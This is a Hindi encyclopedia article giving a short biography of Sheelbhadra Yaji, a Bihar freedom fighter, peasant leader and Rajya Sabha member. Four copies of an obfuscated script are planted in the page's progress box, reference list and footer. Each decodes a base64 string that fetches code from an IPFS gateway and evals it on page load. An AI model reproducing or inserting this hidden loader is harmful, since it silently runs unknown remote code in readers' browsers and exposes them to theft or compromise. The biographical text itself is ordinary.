शीलभद्र याजी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

शीलभद्र याजी (जन्म- 2 मार्च, 1916, पटना ज़िला) बिहार के प्रमुख राजनीतिक कार्यकर्ता एवं स्वतंत्रता सेनानी थे। वे विधानसभा और राज्यसभा के सदस्य भी रहे।

परिचय

बिहार के प्रमुख राजनीतिक कार्यकर्ता शीलभद्र याजी का जन्म 2 मार्च, 1916 ई. को पटना जिले में हुआ था। नमक सत्याग्रह के समय विद्यालय छोड़ने के बाद वे एक बार फिर पढ़ने के लिए भर्ती हुए पर 1932 में सदा के लिए स्वतंत्रता संग्राम में सम्मिलित हो गए। वे किसान नेता स्वामी सहजानंद और सुभाष चंद्र बोस के निकट संपर्क में आए तथा गांधी जी के विचारों का भी उन पर प्रभाव पड़ा। वे विद्यार्थी जीवन में ही 1928 में कोलकाता की कांग्रेस में भाग ले चुके थे। कार्ल मार्क्स के साहित्य का भी उन पर प्रभाव पड़ा और कुछ समय वे कांग्रेस समाजवादी पार्टी में भी रहे।[1]

आज़ादी की लड़ाई

शीलभद्र याजी ने देश की आज़ादी की लड़ाई में बढ़-चढ़ कर भाग लिया था। उन्हें आज़ादी के आंदोलनों में भाग लेने के कारण 1930, 1932, 1933, और 1940 में गिरफ्तार किया गया था। 1941 में भूमिगत होने के बाद 1945 में पकड़े गये तो द्वितीय विश्व युद्ध समाप्त होने के बाद ही रिहा हो सके। 1939 में जब सुभाष बाबू ने फ़ारवर्ड ब्लॉक की स्थापना की तो याजी उस में सम्मिलित हो गए।

राजनैतिक सफर

राजनीतिक कार्यकर्ता शीलभद्र याजी 1940 में भी अखिल भारतीय किसान सभा के महामंत्री बने। इससे पहले वे 1937 में बिहार की विधानसभा के सदस्य चुने गए। स्वतंत्रता के बाद 1957 और 1964 में याजी राज्यसभा के सदस्य बने। स्वतंत्रता सेनानियों की समस्याओं के समाधान के लिए बने संगठन के अध्यक्ष की हैसियत से अंत तक वे काम करते रहे। उन्होंने विभिन्न दलों को मिलाकर संयुक्त वाममोर्चा बनाने का भी प्रयत्न किया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 852 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>